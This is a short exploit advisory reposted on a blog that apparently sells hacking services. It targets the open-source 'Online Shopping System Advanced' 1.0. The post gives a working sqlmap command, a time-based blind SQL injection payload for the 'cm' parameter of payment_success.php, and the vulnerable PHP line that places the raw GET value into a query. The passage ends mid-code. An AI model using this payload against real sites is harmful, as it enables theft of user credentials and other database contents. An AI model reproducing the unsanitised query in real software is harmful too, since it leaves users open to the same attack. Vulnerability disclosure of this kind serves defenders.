Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863544338

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Online Shopping System Advanced

# Date: 07.12.2023

# Exploit Author: Furkan Gedik

# Vendor Homepage: https://github.com/PuneethReddyHC/online-shopping-system-advanced

# Software Link: https://github.com/PuneethReddyHC/online-shopping-system-advanced

# Version: 1.0

# Tested on: [Kali Linux 2020.3]

 

 

 

# Description

Unauthorized access to a database by injecting malicious SQL statements. The SQL injection vulnerability occurs due to the inclusion of the user-provided "cm" parameter in the SQL query without proper filtering or sanitization. An attacker can exploit the vulnerability by injecting malicious SQL code in the "cm" parameter. Successful exploitation of the vulnerability results in the disclosure of sensitive information from the database, such as user credentials, which can be used to gain unauthorized access to the database.

 

# PoC

 

[+] sqlmap output 

sqlmap.py -u "http://localhost/online-shopping-system-advanced/payment_success.php?st=Completed&cm=1" -p cm --dbms=mysql -technique=T --proxy=http://127.0.0.1:8080

 

Parameter: cm (GET)

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: st=Completed&cm=1' AND (SELECT 1415 FROM (SELECT(SLEEP(5)))NRHH) AND 'jLpV'='jLpV

 

# Vulnerability

https://github.com/PuneethReddyHC/online-shopping-system-advanced/blob/master/payment_success.php#L12-L22

[+] payment_success.php 

if (isset($_GET["st"])) {
 

 # code...

 $trx_id = $_GET["tx"];

  $p_st = $_GET["st"];

  $amt = $_GET["amt"];

  $cc = $_GET["cc"];

  $cm_user_id = $_GET["cm"];

  $c_amt = $_COOKIE["ta"];

 if ($p_st == "Completed") {
 

  include_once("db.php");

  $sql = "SELECT p_id,qty FROM cart WHERE user_id = '$cm_user_id'";